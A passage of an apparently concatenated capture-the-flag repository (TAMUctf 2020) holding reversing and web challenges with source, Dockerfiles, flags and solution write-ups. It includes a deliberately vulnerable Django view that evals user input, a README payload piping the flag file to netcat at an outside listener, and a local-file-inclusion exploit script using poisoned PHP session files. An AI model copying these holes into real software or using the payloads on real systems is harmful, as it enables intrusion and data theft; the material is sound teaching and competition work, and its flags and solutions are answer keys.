| flag[10] = 0xb9; 27 | flag[11] = 0xd8; 28 | flag[12] = 0xaa; 29 | flag[13] = 0xc1; 30 | flag[14] = 0x9e; 31 | flag[15] = 0xf7; 32 | flag[16] = 0xa8; 33 | flag[17] = 0xce; 34 | flag[18] = 0xab; 35 | flag[19] = 0xce; 36 | flag[20] = 0xa2; 37 | flag[21] = 0xfd; 38 | flag[22] = 0x8f; 39 | flag[23] = 0xfa; 40 | flag[24] = 0x89; 41 | flag[25] = 0xfd; 42 | flag[26] = 0x84; 43 | flag[27] = 0xf9; 44 | 45 | decrypt(&flag); 46 | printf("%.28s\n", flag); 47 | } 48 | -------------------------------------------------------------------------------- /Reversing/splatter-calc/.gitignore: -------------------------------------------------------------------------------- 1 | target/ 2 | .idea/ 3 | venv/ -------------------------------------------------------------------------------- /Reversing/splatter-calc/Cargo.lock: -------------------------------------------------------------------------------- 1 | # This file is automatically @generated by Cargo. 2 | # It is not intended for manual editing. 3 | [[package]] 4 | name = "randomize" 5 | version = "3.0.0" 6 | source = "registry+https://github.com/rust-lang/crates.io-index" 7 | 8 | [[package]] 9 | name = "splatter-calc" 10 | version = "0.1.0" 11 | dependencies = [ 12 | "randomize 3.0.0 (registry+https://github.com/rust-lang/crates.io-index)", 13 | ] 14 | 15 | [metadata] 16 | "checksum randomize 3.0.0 (registry+https://github.com/rust-lang/crates.io-index)" = "bd6f0f64ee91e11fe1b02debad386edc74c0eb815adde432733c014f1bff2a5f" 17 | -------------------------------------------------------------------------------- /Reversing/splatter-calc/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "splatter-calc" 3 | version = "0.1.0" 4 | authors = ["Addison Crump "] 5 | edition = "2018" 6 | 7 | [dependencies] 8 | randomize = "3.0.0" 9 | -------------------------------------------------------------------------------- /Reversing/splatter-calc/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM rust:slim as build 2 | 3 | RUN USER=root cargo new --bin splatter-calc 4 | WORKDIR /splatter-calc 5 | 6 | COPY Cargo.lock ./Cargo.lock 7 | COPY Cargo.toml ./Cargo.toml 8 | 9 | COPY src ./src 10 | 11 | # we need nightly for function "references", still experimental 12 | RUN rustup toolchain add nightly-x86_64-unknown-linux-gnu 13 | RUN cargo +nightly build --release 14 | 15 | FROM debian:buster-slim 16 | MAINTAINER Addison Crump "addisoncrump@tamu.edu" 17 | 18 | RUN apt update; apt -y --autoremove full-upgrade 19 | RUN apt -y install socat 20 | 21 | # copy the build artifact from the build stage 22 | COPY --from=build /splatter-calc/target/release/splatter-calc /usr/bin/splatter-calc 23 | COPY start.sh /usr/bin/server 24 | COPY flag.txt /root/flag.txt 25 | 26 | WORKDIR /root 27 | 28 | EXPOSE 60032 29 | 30 | # set the startup command to run your binary 31 | CMD ["/usr/bin/server"] -------------------------------------------------------------------------------- /Reversing/splatter-calc/assets/_start.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tamuctf/TAMUctf-2020/d0db09bc428570036a4ae88f853194821f57bee8/Reversing/splatter-calc/assets/_start.png -------------------------------------------------------------------------------- /Reversing/splatter-calc/assets/destruct_pointer.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tamuctf/TAMUctf-2020/d0db09bc428570036a4ae88f853194821f57bee8/Reversing/splatter-calc/assets/destruct_pointer.png -------------------------------------------------------------------------------- /Reversing/splatter-calc/assets/final_if.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tamuctf/TAMUctf-2020/d0db09bc428570036a4ae88f853194821f57bee8/Reversing/splatter-calc/assets/final_if.png -------------------------------------------------------------------------------- /Reversing/splatter-calc/assets/flag.txt.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tamuctf/TAMUctf-2020/d0db09bc428570036a4ae88f853194821f57bee8/Reversing/splatter-calc/assets/flag.txt.png -------------------------------------------------------------------------------- /Reversing/splatter-calc/assets/function_array.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tamuctf/TAMUctf-2020/d0db09bc428570036a4ae88f853194821f57bee8/Reversing/splatter-calc/assets/function_array.png -------------------------------------------------------------------------------- /Reversing/splatter-calc/assets/line_parsing.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tamuctf/TAMUctf-2020/d0db09bc428570036a4ae88f853194821f57bee8/Reversing/splatter-calc/assets/line_parsing.png -------------------------------------------------------------------------------- /Reversing/splatter-calc/assets/lock_slice.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tamuctf/TAMUctf-2020/d0db09bc428570036a4ae88f853194821f57bee8/Reversing/splatter-calc/assets/lock_slice.png -------------------------------------------------------------------------------- /Reversing/splatter-calc/assets/locked_iter.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tamuctf/TAMUctf-2020/d0db09bc428570036a4ae88f853194821f57bee8/Reversing/splatter-calc/assets/locked_iter.png -------------------------------------------------------------------------------- /Reversing/splatter-calc/assets/main.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tamuctf/TAMUctf-2020/d0db09bc428570036a4ae88f853194821f57bee8/Reversing/splatter-calc/assets/main.png -------------------------------------------------------------------------------- /Reversing/splatter-calc/assets/namespacing_splatter_calc.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tamuctf/TAMUctf-2020/d0db09bc428570036a4ae88f853194821f57bee8/Reversing/splatter-calc/assets/namespacing_splatter_calc.png -------------------------------------------------------------------------------- /Reversing/splatter-calc/assets/pattern.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tamuctf/TAMUctf-2020/d0db09bc428570036a4ae88f853194821f57bee8/Reversing/splatter-calc/assets/pattern.png -------------------------------------------------------------------------------- /Reversing/splatter-calc/assets/ppabVar1_indexing.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tamuctf/TAMUctf-2020/d0db09bc428570036a4ae88f853194821f57bee8/Reversing/splatter-calc/assets/ppabVar1_indexing.png -------------------------------------------------------------------------------- /Reversing/splatter-calc/assets/refarray.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tamuctf/TAMUctf-2020/d0db09bc428570036a4ae88f853194821f57bee8/Reversing/splatter-calc/assets/refarray.png -------------------------------------------------------------------------------- /Reversing/splatter-calc/assets/stdin_lock.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tamuctf/TAMUctf-2020/d0db09bc428570036a4ae88f853194821f57bee8/Reversing/splatter-calc/assets/stdin_lock.png -------------------------------------------------------------------------------- /Reversing/splatter-calc/assets/stdin_namespace.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tamuctf/TAMUctf-2020/d0db09bc428570036a4ae88f853194821f57bee8/Reversing/splatter-calc/assets/stdin_namespace.png -------------------------------------------------------------------------------- /Reversing/splatter-calc/assets/vtable.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tamuctf/TAMUctf-2020/d0db09bc428570036a4ae88f853194821f57bee8/Reversing/splatter-calc/assets/vtable.png -------------------------------------------------------------------------------- /Reversing/splatter-calc/flag.txt: -------------------------------------------------------------------------------- 1 | gigem{00ps_ch3ck_y0ur_7upl35} -------------------------------------------------------------------------------- /Reversing/splatter-calc/src/main.rs: -------------------------------------------------------------------------------- 1 | #![feature(fn_traits)] 2 | 3 | use std::fs::read_to_string; 4 | 5 | use randomize::lcg64; 6 | use std::io::{stdin, stdout, BufRead, Write}; 7 | 8 | fn identity(res: u64, _state: u64) -> u64 { res } 9 | 10 | fn plus(res: u64, state: u64) -> u64 { res.wrapping_add(state) } 11 | 12 | fn minus(res: u64, state: u64) -> u64 { res.wrapping_sub(state) } 13 | 14 | fn mult(res: u64, state: u64) -> u64 { res.wrapping_mul(state as u64) } 15 | 16 | fn square(res: u64, _state: u64) -> u64 { res.wrapping_mul(res) } 17 | 18 | fn lshift(res: u64, state: u64) -> u64 { res.wrapping_shl((state % 64) as u32) } 19 | 20 | fn rshift(res: u64, state: u64) -> u64 { res.wrapping_shr((state % 64) as u32) } 21 | 22 | fn xor(res: u64, state: u64) -> u64 { res ^ (state as u64) } 23 | 24 | fn splattercalc(mut res: u64, mut state: u64, functions: &[&dyn Fn(u64, u64) -> u64; 8]) -> (u64, u64) { 25 | for _ in 0..8 { 26 | res = functions[(state % 8) as usize].call((res, state)); 27 | // println!("{} => {}", state % 8, res); 28 | state = lcg64(state, 35423441123, 9835982734); 29 | } 30 | 31 | return (res, state); 32 | } 33 | 34 | fn main() { 35 | let functions: [&dyn Fn(u64, u64) -> u64; 8] = [ 36 | &identity, 37 | &plus, 38 | &minus, 39 | &mult, 40 | &square, 41 | &lshift, 42 | &rshift, 43 | &xor 44 | ]; 45 | 46 | print!("Please enter an initial rng: "); 47 | stdout().lock().flush().unwrap(); 48 | let state = stdin().lock().lines().next().unwrap().unwrap().trim().parse::().unwrap_or_else(|_| { 49 | println!("Couldn't read a 64-bit integer from input, defaulting to 0..."); 50 | 0 51 | }); 52 | 53 | match splattercalc(0xcafebabe, state, &functions) { 54 | (12456643129164290182, 5124507482426903457) => println!("{}", read_to_string("flag.txt").unwrap()), 55 | (res, state) => println!("Oops, you didn't guess the right number. You got {} with final state {}", res, state) 56 | } 57 | 58 | } 59 | -------------------------------------------------------------------------------- /Reversing/splatter-calc/start.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | socat -d -d tcp-l:60032,fork system:/usr/bin/splatter-calc -------------------------------------------------------------------------------- /Reversing/vault/Dockerfile.build: -------------------------------------------------------------------------------- 1 | FROM debian:bullseye-slim as build 2 | 3 | RUN apt update; apt -y install build-essential 4 | WORKDIR /opt/build 5 | 6 | ENTRYPOINT ["gcc"] -------------------------------------------------------------------------------- /Reversing/vault/README.md: -------------------------------------------------------------------------------- 1 | # Vault 2 | 3 | 4 | 5 | ## Setup 6 | 7 | 1. `./build.sh` 8 | 9 | ## Brief Dev Description 10 | 11 | The string stored inside the binary is obfuscated so that you can't find it with strings or similar tools. The flag is deobfuscated before being compared to the input, so if you check the memory of the program while its running you can leak the flag. Alternatively you could reverse the deobfuscate function. It isn't very difficult. 12 | 13 | ## Solution 14 | 15 | 1. ltrace ./vault 16 | 2. see the flag in the strcmp call 17 | -------------------------------------------------------------------------------- /Reversing/vault/build.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | docker build -t gcc:debian -f Dockerfile.build . 3 | docker run --net=host --user $(id -u):$(id -g) --rm -ti -v $(pwd):/opt/build gcc:debian vault.c -o vault -------------------------------------------------------------------------------- /Reversing/vault/obfuscate.py: -------------------------------------------------------------------------------- 1 | flag = bytearray(b"gigem{p455w0rd_1n_m3m0ry1}") 2 | 3 | 4 | for i in range(len(flag)): 5 | print("{} - {}".format(i,(i+1) % len(flag))) 6 | flag[i] ^= flag[(i+1) % len(flag)] 7 | for i in range(len(flag)): 8 | flag[i] ^= 43 9 | for i in range(len(flag)): 10 | flag[i] += 15 11 | for i in range(0,len(flag),2): 12 | flag[i], flag[i+1] = flag[i+1], flag[i] 13 | 14 | print(len(flag)) 15 | print(flag) -------------------------------------------------------------------------------- /Reversing/vault/vault.c: -------------------------------------------------------------------------------- 1 | 2 | #include 3 | #include 4 | #include 5 | 6 | char* deobfuscate(char* text) { 7 | int len = strlen(text); 8 | for(int i = 0; i < len; i += 2) { 9 | char temp = text[i]; 10 | text[i] = text[i+1]; 11 | text[i+1] = temp; 12 | } 13 | for(int i = 0; i < len; i += 1) { 14 | text[i] -= 15; 15 | } 16 | for(int i = 0; i < len; i += 1) { 17 | text[i] ^= 43; 18 | } 19 | for(int i = len; i > 0; i -= 1) { 20 | text[i-1] ^= text[i % len]; 21 | } 22 | 23 | return text; 24 | } 25 | 26 | int main() { 27 | char* flag = malloc(26); 28 | strcpy(flag, "4428/L9~x:x{\x1fL\x83T()\x84\x84x\x85r/gv"); 29 | deobfuscate(flag); 30 | char* input = malloc(27); 31 | printf("%s", "Enter password: "); 32 | fgets(input, 27, stdin); 33 | if(strcmp(flag, input) == 0) { 34 | printf("Correct! That's the password!\n"); 35 | } else { 36 | printf("Sorry, that isn't the right password.\n"); 37 | } 38 | } -------------------------------------------------------------------------------- /Secure_Coding/.gitkeep: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tamuctf/TAMUctf-2020/d0db09bc428570036a4ae88f853194821f57bee8/Secure_Coding/.gitkeep -------------------------------------------------------------------------------- /Web/.gitkeep: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tamuctf/TAMUctf-2020/d0db09bc428570036a4ae88f853194821f57bee8/Web/.gitkeep -------------------------------------------------------------------------------- /Web/credits/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu:latest 2 | 3 | RUN mkdir -p /data/db 4 | RUN apt update && apt install -y npm wget vim 5 | RUN wget -O - https://deb.nodesource.com/setup_13.x | bash 6 | RUN apt install -y nodejs 7 | RUN echo "deb http://apt.postgresql.org/pub/repos/apt/ bionic-pgdg main" | tee /etc/apt/sources.list.d/pgdg.list 8 | RUN wget --quiet -O - https://www.postgresql.org/media/keys/ACCC4CF8.asc | apt-key add - 9 | RUN apt update 10 | RUN export DEBIAN_FRONTEND=noninteractive && apt install -y postgresql-11 11 | RUN ln -fs /usr/share/zoneinfo/America/Chicago /etc/localtime 12 | RUN dpkg-reconfigure --frontend noninteractive tzdata 13 | 14 | RUN mkdir auth-system && cd auth-system && mkdir models inventory views 15 | RUN npm init -f 16 | RUN npm install --save bcrypt body-parser cookie-parser express express-session express-rate-limit morgan pg sequelize pug 17 | RUN mv /node_modules /auth-system 18 | RUN mv /package.json /auth-system 19 | COPY models /auth-system/models/ 20 | COPY inventory /auth-system/inventory/ 21 | COPY views /auth-system/views/ 22 | COPY entry.sh /auth-system/ 23 | COPY server.js /auth-system/ 24 | COPY pg_hba.conf /etc/postgresql/11/main/pg_hba.conf 25 | 26 | EXPOSE 80 27 | 28 | ENTRYPOINT ["/auth-system/entry.sh"] 29 | -------------------------------------------------------------------------------- /Web/credits/README.md: -------------------------------------------------------------------------------- 1 | # POST modification 2 | The objective of this is to help the user understand session cookies, as well as help them understand how to control client side requests. 3 | 4 | ## Challenge flavor 5 | Try testing out this new credit system that I just created! 6 | 7 | http://
8 | 9 | hint: Credit generation is rate limited. It is literally impossible to generate 2,000,000,000 credits within the CTF timeframe. 10 | 11 | ## Setup 12 | Build and run docker container 13 | 14 | sudo docker build -t credits . 15 | 16 | sudo docker run credits 17 | 18 | ## Solution 19 | After logging in, make note of the user_sid cookie. Instead of bruteforcing the credit generation, simply send a POST request with a modified "increment" value as such: 20 | 21 | curl -d "increment=2000000000" -b user_sid="" -H "Content-Type: application/x-www-form-urlencoded" -X POST http:///newcredit 22 | -------------------------------------------------------------------------------- /Web/credits/entry.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | cd /auth-system 4 | service postgresql start 5 | psql -U postgres -c 'CREATE DATABASE "auth-system"' 6 | node server.js 7 | -------------------------------------------------------------------------------- /Web/credits/inventory/flag.txt: -------------------------------------------------------------------------------- 1 | gigem{serverside_53rv3r5163_SerVeRSide} 2 | -------------------------------------------------------------------------------- /Web/credits/inventory/haiku.txt: -------------------------------------------------------------------------------- 1 | Haikus are easy. 2 | But sometimes they don't make sense. 3 | Refrigerator. 4 | -------------------------------------------------------------------------------- /Web/credits/inventory/hifive.txt: -------------------------------------------------------------------------------- 1 | ヘ( ^o^)ノ\(^_^ ) 2 | -------------------------------------------------------------------------------- /Web/credits/models/user.js: -------------------------------------------------------------------------------- 1 | var Sequelize = require('sequelize'); 2 | var bcrypt = require('bcrypt'); 3 | 4 | // create a sequelize instance with our local postgres database information. 5 | var sequelize = new Sequelize('postgres://postgres:postgres@localhost:5432/auth-system'); 6 | 7 | // setup User model and its fields. 8 | var User = sequelize.define('users', { 9 | username: { 10 | type: Sequelize.STRING, 11 | unique: true, 12 | allowNull: false 13 | }, 14 | password: { 15 | type: Sequelize.STRING, 16 | allowNull: false 17 | }, 18 | credits: { 19 | type: Sequelize.INTEGER, 20 | allowNull: false 21 | }, 22 | items: { 23 | type: Sequelize.STRING, 24 | allowNull: false 25 | }, 26 | messages: { 27 | type: Sequelize.ARRAY(Sequelize.TEXT), 28 | defaultValue: null 29 | } 30 | }); 31 | 32 | User.beforeCreate((user,optionsObject) => { 33 | const salt = bcrypt.genSaltSync(); 34 | user.password = bcrypt.hashSync(user.password, salt); 35 | }); 36 | 37 | User.prototype.validPassword = function(password) { 38 | return bcrypt.compareSync(password, this.password); 39 | } 40 | 41 | 42 | // create all the defined tables in the specified database. 43 | sequelize.sync() 44 | .then(() => console.log('users table has been successfully created, if one doesn\'t exist')) 45 | .catch(error => console.log('This error occured', error)); 46 | 47 | // export User model for use in other files. 48 | module.exports = User; 49 | -------------------------------------------------------------------------------- /Web/credits/pg_hba.conf: -------------------------------------------------------------------------------- 1 | local all postgres trust 2 | local all all peer 3 | host all all 127.0.0.1/32 trust 4 | host all all ::1/128 md5 5 | local replication all peer 6 | host replication all 127.0.0.1/32 md5 7 | host replication all ::1/128 md5 8 | -------------------------------------------------------------------------------- /Web/credits/views/homepage.pug: -------------------------------------------------------------------------------- 1 | html 2 | head 3 | title Credits! 4 | link(rel='stylesheet', href='https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css', integrity='sha384-BVYiiSIFeK1dGmJRAkycuHAHRg32OmUcww7on3RYdg4Va+PmSTsz/K68vbdEjh4u', crossorigin='anonymous') 5 | body.container 6 | nav.navbar.navbar-default 7 | .container-fluid 8 | // Collect the nav links, forms, and other content for toggling 9 | #bs-example-navbar-collapse-1.collapse.navbar-collapse 10 | ul.nav.navbar-nav 11 | li 12 | a(href='/') Home 13 | if authorized 14 | li 15 | a(href='/store') Store 16 | li 17 | a(href='/inventory') Inventory 18 | ul.nav.navbar-nav.navbar-right 19 | unless authorized 20 | li 21 | a(href='/login') Log In 22 | li 23 | a(href='/signup') Sign Up 24 | if authorized 25 | li 26 | a(href='/logout') Log Out 27 | // /.navbar-collapse 28 | // /.container-fluid 29 | .page-header 30 | h1 Howdy! 31 | | How are you doing today? 32 | -------------------------------------------------------------------------------- /Web/credits/views/login.pug: -------------------------------------------------------------------------------- 1 | html 2 | head 3 | title Login Here 4 | link(rel='stylesheet', href='https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css', integrity='sha384-BVYiiSIFeK1dGmJRAkycuHAHRg32OmUcww7on3RYdg4Va+PmSTsz/K68vbdEjh4u', crossorigin='anonymous') 5 | body.container 6 | nav.navbar.navbar-default 7 | .container-fluid 8 | // Collect the nav links, forms, and other content for toggling 9 | #bs-example-navbar-collapse-1.collapse.navbar-collapse 10 | ul.nav.navbar-nav 11 | li 12 | a(href='/') Home 13 | ul.nav.navbar-nav.navbar-right 14 | li 15 | a(href='/login') Log In 16 | li 17 | a(href='/signup') Sign Up 18 | // /.navbar-collapse 19 | // /.container-fluid 20 | .page-header 21 | h1 Credit System Login 22 | .container.row 23 | .jumbotron.col-sm-4.pull-center 24 | form(action='/login', method='post') 25 | div 26 | label Username: 27 | input(type='text', name='username') 28 | div 29 | label Password: 30 | input(type='password', name='password') 31 | div 32 | input.btn.btn-primary(type='submit', value='Log In') 33 | 34 | -------------------------------------------------------------------------------- /Web/credits/views/signup.pug: -------------------------------------------------------------------------------- 1 | html 2 | head 3 | title Register 4 | link(rel='stylesheet', href='https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css', integrity='sha384-BVYiiSIFeK1dGmJRAkycuHAHRg32OmUcww7on3RYdg4Va+PmSTsz/K68vbdEjh4u', crossorigin='anonymous') 5 | body.container 6 | nav.navbar.navbar-default 7 | .container-fluid 8 | // Collect the nav links, forms, and other content for toggling 9 | #bs-example-navbar-collapse-1.collapse.navbar-collapse 10 | ul.nav.navbar-nav 11 | li 12 | a(href='/') Home 13 | ul.nav.navbar-nav.navbar-right 14 | li 15 | a(href='/login') Log In 16 | li 17 | a(href='/signup') Sign Up 18 | // /.navbar-collapse 19 | // /.container-fluid 20 | .page-header 21 | h1 Register Here! 22 | .container.row 23 | .jumbotron.col-sm-4.pull-center 24 | form(action='/signup', method='post') 25 | div 26 | label Username: 27 | input(type='text', name='username') 28 | div 29 | label Password: 30 | input(type='password', name='password') 31 | div 32 | input.btn.btn-primary(type='submit', value='Sign Up') 33 | 34 | -------------------------------------------------------------------------------- /Web/filestorage/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM alpine 2 | 3 | 4 | RUN apk --update add apache2 php7 php7-apache2 php7-session 5 | 6 | 7 | env APACHE_RUN_USER www-data 8 | env APACHE_RUN_GROUP www-data 9 | env APACHE_PID_FILE /var/run/apache2.pid 10 | env APACHE_RUN_DIR /var/run/apache2 11 | env APACHE_LOCK_DIR /var/lock/apache2 12 | env APACHE_LOG_DIR /var/log/apache2 13 | 14 | EXPOSE 80 15 | 16 | COPY start.sh /start.sh 17 | COPY files /var/www/localhost/htdocs/files/ 18 | COPY index.php /var/www/localhost/htdocs//index.php 19 | RUN rm /etc/apache2/httpd.conf 20 | COPY httpd.conf /etc/apache2/httpd.conf 21 | 22 | RUN mkdir /flag_is_here 23 | COPY flag.txt /flag_is_here/flag.txt 24 | 25 | ENTRYPOINT ["sh", "start.sh"] 26 | -------------------------------------------------------------------------------- /Web/filestorage/README.md: -------------------------------------------------------------------------------- 1 | ## Description 2 | 3 | Try out my new file sharing site! 4 | 5 | http://
6 | 7 | ## Documentation 8 | 9 | It's a pretty obvious LFI challenge but there isn't any way to actually upload files so you need to find a location you can read and write to. The only way i've tried that works in this specific case is the php session files under /tmp/sess_*. The apache access/error logs aren't readable to the php process so thats out. The X-Powered-By header does specify that it is running PHP 7.3.15 and a contestant can look up the configuration to find the location of the session files because they are in the default location 10 | 11 | ### Setup 12 | 13 | 1. docker build . -t filestorage 14 | 2. docker run -p 80:80 filestorage 15 | 16 | ## Solution 17 | 18 | 1. Set your name to `` 19 | 2. Determine your PHPSESSID. It can be found in your cookies. 20 | 3. Look up the default php.ini for php 7.3.15 and determine that the default session location is /tmp/sess_* 21 | 4. Navigate to index.php?file=../../../../../tmp/sess_{your phpsessid}&cmd=ls%20/ 22 | 5. Observe that there is a folder in the root named "flag_is_here". Check the contents of this folder and then just execute "cat /flag_is_here/flag.txt" 23 | -------------------------------------------------------------------------------- /Web/filestorage/files/hello.txt: -------------------------------------------------------------------------------- 1 | Hello World! -------------------------------------------------------------------------------- /Web/filestorage/flag.txt: -------------------------------------------------------------------------------- 1 | gigem{535510n_f1l3_p0150n1n6} -------------------------------------------------------------------------------- /Web/filestorage/index.php: -------------------------------------------------------------------------------- 1 | 7 | 8 | 9 | 10 | 11 | 12 | 🡄 Go back
"; 20 | include 'files/' . $_GET['file']; 21 | } else { 22 | echo "Hello, " . $_SESSION['name'] . "
"; 23 | echo "
    "; 24 | foreach (scandir("files") as $val) { 25 | if(strcmp($val, ".") and strcmp($val, "..")) { 26 | echo "
  • $val
  • "; 27 | } 28 | } 29 | echo "
"; 30 | } 31 | } else { 32 | echo "What is your name?"; 33 | echo "
"; 34 | echo ""; 35 | echo ""; 36 | echo "
"; 37 | } 38 | ?> 39 | 40 | 41 | -------------------------------------------------------------------------------- /Web/filestorage/solver.py: -------------------------------------------------------------------------------- 1 | import requests 2 | import re 3 | s = requests.Session() 4 | s.post("http://localhost/index.php",{'name': ''}) 5 | r = s.get("http://localhost/index.php?file=../../../../var/lib/php/sessions/sess_{}&cmd=cat%20/flag_is_here/flag.txt".format(s.cookies['PHPSESSID'])) 6 | print(re.search("gigem{.*?}",r.text).group()) -------------------------------------------------------------------------------- /Web/filestorage/start.sh: -------------------------------------------------------------------------------- 1 | while : 2 | do 3 | httpd -D FOREGROUND 4 | done -------------------------------------------------------------------------------- /Web/mentalmath/.dockerignore: -------------------------------------------------------------------------------- 1 | README.md 2 | Dockerfile 3 | docker-compose.yml 4 | -------------------------------------------------------------------------------- /Web/mentalmath/README.md: -------------------------------------------------------------------------------- 1 | ## Description 2 | 3 | My first web app, check it out! `` 4 | 5 | ## Documentation 6 | 7 | A pretty simple Django Python `eval` vuln. The hard part is deducing that there may be an 8 | `eval` present here, and also figuring out that this is a Django app. There is a comment 9 | in one of the HTML files with leftover Django templating which serves as a hint. It teaches 10 | participants how to think like an attacker in that the fact that the math problem 11 | is sent over AJAX back to the server might mean it is being passed to an `eval`. 12 | 13 | ### Setup 14 | 15 | 1. `docker-compose build` 16 | 2. `docker-compose up` 17 | 18 | Note: will have to change `ALLOWED_HOSTS` in Django and the `UWSGI_ROUTE_HOST` environment variable in 19 | the Dockerfile once we know where this will be hosted. 20 | 21 | Also note that since we give arbitrary code execution, the server is restarted every five minutes. 22 | ## Solution 23 | 24 | The `problem` parameter to the endpoint `new_problem` is `eval()`ed. So one can send the following 25 | in this parameter (and setup a listener on `` of course) to get the flag. 26 | ```python 27 | __import__('os').popen('cat flag.txt | nc ') 28 | ``` 29 | 30 | -------------------------------------------------------------------------------- /Web/mentalmath/db.sqlite3: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tamuctf/TAMUctf-2020/d0db09bc428570036a4ae88f853194821f57bee8/Web/mentalmath/db.sqlite3 -------------------------------------------------------------------------------- /Web/mentalmath/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: '2' 2 | 3 | services: 4 | app: 5 | build: 6 | context: . 7 | dockerfile: ./Dockerfile 8 | ports: 9 | - "8000:8000" 10 | restart: always 11 | -------------------------------------------------------------------------------- /Web/mentalmath/flag.txt: -------------------------------------------------------------------------------- 1 | gigem{1_4m_g0od_47_m4tH3m4aatics_n07_s3cUr1ty_h3h3h3he} 2 | -------------------------------------------------------------------------------- /Web/mentalmath/manage.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | import os 3 | import sys 4 | 5 | if __name__ == '__main__': 6 | os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'mentalmath.settings') 7 | try: 8 | from django.core.management import execute_from_command_line 9 | except ImportError as exc: 10 | raise ImportError( 11 | "Couldn't import Django. Are you sure it's installed and " 12 | "available on your PYTHONPATH environment variable? Did you " 13 | "forget to activate a virtual environment?" 14 | ) from exc 15 | execute_from_command_line(sys.argv) 16 | -------------------------------------------------------------------------------- /Web/mentalmath/mathgame/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tamuctf/TAMUctf-2020/d0db09bc428570036a4ae88f853194821f57bee8/Web/mentalmath/mathgame/__init__.py -------------------------------------------------------------------------------- /Web/mentalmath/mathgame/admin.py: -------------------------------------------------------------------------------- 1 | from django.contrib import admin 2 | 3 | # Register your models here. 4 | -------------------------------------------------------------------------------- /Web/mentalmath/mathgame/apps.py: -------------------------------------------------------------------------------- 1 | from django.apps import AppConfig 2 | 3 | 4 | class MathgameConfig(AppConfig): 5 | name = 'mathgame' 6 | -------------------------------------------------------------------------------- /Web/mentalmath/mathgame/migrations/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tamuctf/TAMUctf-2020/d0db09bc428570036a4ae88f853194821f57bee8/Web/mentalmath/mathgame/migrations/__init__.py -------------------------------------------------------------------------------- /Web/mentalmath/mathgame/models.py: -------------------------------------------------------------------------------- 1 | from django.db import models 2 | 3 | # Create your models here. 4 | -------------------------------------------------------------------------------- /Web/mentalmath/mathgame/templates/mathgame/base.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | mEnTaL MaTh 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 |
19 | {% block content %}{% endblock %} 20 |
21 | 22 | 23 | 24 | 25 | -------------------------------------------------------------------------------- /Web/mentalmath/mathgame/templates/mathgame/index.html: -------------------------------------------------------------------------------- 1 | {% extends 'mathgame/base.html' %} 2 | 3 | {% block content %} 4 |
5 |

mEnTaL mAtH

6 |
7 | 8 |
9 |
10 |

I created this tool to improve my mental math abilities. Simply click play, and you will be 11 | met with an unending stream of meticulously crafted (okay, randomly generated) math problems. 12 | As soon as you input the correct answer, a new problem will appear (no submit button, #ajax). 13 | If you want to improve, don't use pen and paper!

14 |
15 |
16 | 17 |
18 |
19 | Start Game 20 |
21 |
22 | {% endblock %} 23 | -------------------------------------------------------------------------------- /Web/mentalmath/mathgame/templates/mathgame/play.html: -------------------------------------------------------------------------------- 1 | {% extends 'mathgame/base.html' %} 2 | 3 | {% block content %} 4 | 5 |
6 |

7 |
8 |
9 | 10 |
11 |

Sharpen your mind!

12 |
13 | 14 |
15 | 16 |
17 | 18 | 33 | 34 | {% endblock %} 35 | -------------------------------------------------------------------------------- /Web/mentalmath/mathgame/tests.py: -------------------------------------------------------------------------------- 1 | from django.test import TestCase 2 | 3 | # Create your tests here. 4 | -------------------------------------------------------------------------------- /Web/mentalmath/mathgame/urls.py: -------------------------------------------------------------------------------- 1 | from django.urls import path 2 | 3 | from . import views 4 | 5 | urlpatterns = [ 6 | path('', views.index, name='index'), 7 | path('play/', views.play, name='play'), 8 | path('ajax/new_problem', views.new_problem, name='new_problem'), 9 | ] 10 | -------------------------------------------------------------------------------- /Web/mentalmath/mathgame/views.py: -------------------------------------------------------------------------------- 1 | from django.shortcuts import render 2 | from django.http import JsonResponse 3 | import random 4 | 5 | def index(request): 6 | return render(request, 'mathgame/index.html') 7 | 8 | def play(request): 9 | return render(request, 'mathgame/play.html') 10 | 11 | def new_problem(request): 12 | response_data = {} 13 | 14 | if request.method == "POST" and request.is_ajax() and len(request.POST['problem']) > 0: 15 | problem = request.POST['problem'] 16 | answer = request.POST['answer'] 17 | if eval(problem) == int(answer): 18 | response_data['correct'] = True 19 | response_data['problem'] = gen_problem() 20 | else: 21 | response_data['correct'] = False 22 | else: 23 | response_data['correct'] = True 24 | response_data['problem'] = gen_problem() 25 | 26 | return 